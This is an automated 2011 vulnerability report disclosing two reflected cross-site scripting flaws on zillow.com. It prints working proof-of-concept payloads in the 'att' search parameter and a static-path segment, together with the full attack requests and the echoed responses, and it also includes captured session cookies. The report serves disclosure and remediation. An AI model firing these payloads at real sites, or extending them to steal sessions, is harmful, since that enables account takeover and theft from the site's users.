XSS, zillow.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Mar 13 07:07:47 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading

1. Cross-site scripting (reflected)

1.1. http://www.zillow.com/search/GetResults.htm [att parameter]

1.2. http://www.zillow.com/vstatic/8a5516d0088408e030c362aa860e9280/static/swf/ZillowMap.swf [REST URL parameter 5]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.zillow.com/search/GetResults.htm [att parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zillow.com
Path:   /search/GetResults.htm

Issue detail

The value of the att request parameter is copied into the HTML document as plain text between tags. The payload 6e3cb<script>alert(1)</script>22b91df51a was submitted in the att parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/GetResults.htm?status=11101&lt=11110&ht=11111&pr=,&mp=,&bd=,&ba=,&list=&sf=,&lot=,&yr=,&pho=0&hidenhoods=0&red=0&att=6e3cb<script>alert(1)</script>22b91df51a&days=any&ds=all&zoom=3&rect=-129326605,15737725,-64375434,55695190&p=1&sort=featured&lm=0&search=maplist&disp=1 HTTP/1.1
Host: www.zillow.com
Proxy-Connection: keep-alive
Referer: http://www.zillow.com/homes/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServertomcat_pool_0=3507227146.0.0000; BIGipServerapache_pool_0=2584480266.0.0000; JSESSIONID=FD819F6E808EF84BC115F3780094BF52; bchk=1; zguid=3|9737b7e6-bd95-4a7b-a9f9-e778893bb455%09false%09%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%09false; s_fv=flash%2010; s_vi=[CS]v1|26BDFD6C051D362E-60000103C0200D9B[CE]; search=4|1300057202900%7Crect%3D50.62214%252C-68.327143%252C23.705962%252C-125.374896%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; fsr.s={"cp":{"Foresee_Guid":"9737b7e6-bd95-4a7b-a9f9-e778893bb455","Foresee_Zuid":"","Foresee_BestZip":""},"v":1,"rid":"1299970813078_60951","pv":1,"to":3,"c":"http://www.zillow.com/","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0,"f":1299970837066}; s_cc=true; s_sq=%5B%5BB%5D%5D; fsr.a=1299970841260; abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:01:04 GMT
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1 date=200510231054)/Tomcat-5.5
X-Internal-Host: 209
X-Requested-Session: FD819F6E808EF84BC115F3780094BF52
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Content-Type: text/plain;charset=UTF-8
Set-Cookie: abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; Domain=.zillow.com; Expires=Fri, 12-Mar-2021 11:01:03 GMT; Path=/
Set-Cookie: search=4|1300057263986%7Crect%3D55.69519%252C-64.375434%252C15.737725%252C-129.326605%26zm%3D3%26disp%3Dmap%26lm%3D0%26fm%3D1%26xm%3Dpsqft%26p%3D1%26att%3D6e3cb%25253Cscript%25253Ealert%2525281%252529%25253C-script%25253E22b91df51a%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; Domain=.zillow.com; Expires=Fri, 12-Mar-2021 11:01:03 GMT; Path=/
Via: 1.1 www.zillow.com
Vary: Accept-Encoding,User-Agent
Content-Length: 1061

{

"list":{
   "page":1,
   "numPages":0,
   "binCounts":SearchBinCounts.create(
0,0,0,0,0,
0,0,0,0,0,
0,0,0,0,0,
0)
,
   "pagination":"<ul class=\"pagination sprited\">    <li> <span class=\"arrow prev\"><a onc
...[SNIP]...
<div id=\"applied-summary\">    keywords: 6e3cb<script>alert(1)</script>22b91df51a    </div>
...[SNIP]...

1.2. http://www.zillow.com/vstatic/8a5516d0088408e030c362aa860e9280/static/swf/ZillowMap.swf [REST URL parameter 5]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zillow.com
Path:   /vstatic/8a5516d0088408e030c362aa860e9280/static/swf/ZillowMap.swf

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9217"-alert(1)-"70026f5fc1c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /vstatic/8a5516d0088408e030c362aa860e9280/static/swf/b9217"-alert(1)-"70026f5fc1c HTTP/1.1
Host: www.zillow.com
Proxy-Connection: keep-alive
Referer: http://www.zillow.com/homes/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BIGipServertomcat_pool_0=3507227146.0.0000; BIGipServerapache_pool_0=2584480266.0.0000; JSESSIONID=FD819F6E808EF84BC115F3780094BF52; bchk=1; zguid=3|9737b7e6-bd95-4a7b-a9f9-e778893bb455%09false%09%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%09false; s_fv=flash%2010; s_vi=[CS]v1|26BDFD6C051D362E-60000103C0200D9B[CE]; abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; search=4|1300057202900%7Crect%3D50.62214%252C-68.327143%252C23.705962%252C-125.374896%26fs%3D1%26fr%3D1%26mmm%3D1%26rs%3D1%26ah%3D0%09%01%09%09%09; fsr.a=1299970839254; fsr.s={"cp":{"Foresee_Guid":"9737b7e6-bd95-4a7b-a9f9-e778893bb455","Foresee_Zuid":"","Foresee_BestZip":""},"v":1,"rid":"1299970813078_60951","pv":1,"to":3,"c":"http://www.zillow.com/","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0,"f":1299970837066}; s_cc=true; s_sq=%5B%5BB%5D%5D

Response (redirected)

HTTP/1.1 404 Not Found
Date: Sat, 12 Mar 2011 23:01:52 GMT
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.3SP1 (build: CVSTag=JBoss_4_0_3_SP1 date=200510231054)/Tomcat-5.5
X-Internal-Host: 209
X-Requested-Session: FD819F6E808EF84BC115F3780094BF52
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
X-Frame-Options: deny
Content-Type: text/html;charset=UTF-8
Set-Cookie: abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; Domain=.zillow.com; Expires=Fri, 12-Mar-2021 11:01:52 GMT; Path=/
Set-Cookie: abtest=1|BotoxDefaultView%3D77%3ABotoxOnHDP%3D76%3AMortgageShoppingForm%3D86%3AMortgageShoppingContactFormLength%3D60%3AHDPShowcaseModuleTitle%3D67%3AMortgageShoppingBestQuotesFilterTest%3D68%3AHomepageZMMUpsells%3D88%3AHomepageZMMRedesign%3D61%3AMortgageQuoteDetailsView%3D76; Domain=.zillow.com; Expires=Fri, 12-Mar-2021 11:01:52 GMT; Path=/
Via: 1.1 www.zillow.com
Vary: User-Agent,Accept-Encoding
Content-Length: 26854

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en">
<head>
   <meta charset="utf-8" />
   <meta content="IE=EmulateIE7" http-equiv="X-UA-Comp
...[SNIP]...
alytic({
        "key": "comscore",
        "callback": function () {
       
COMSCORE.beacon({
"c1": 2,
"c2": "6036206",
"c3": "",
"c4": "www.zillow.com/static/swf/b9217"-alert(1)-"70026f5fc1c/",
"c5": "",
"c6": "",
"c15":""
});

        }
       });
       } catch (err) {} });
   

// -->
...[SNIP]...

Report generated by XSS.CX at Sun Mar 13 07:07:47 CDT 2011.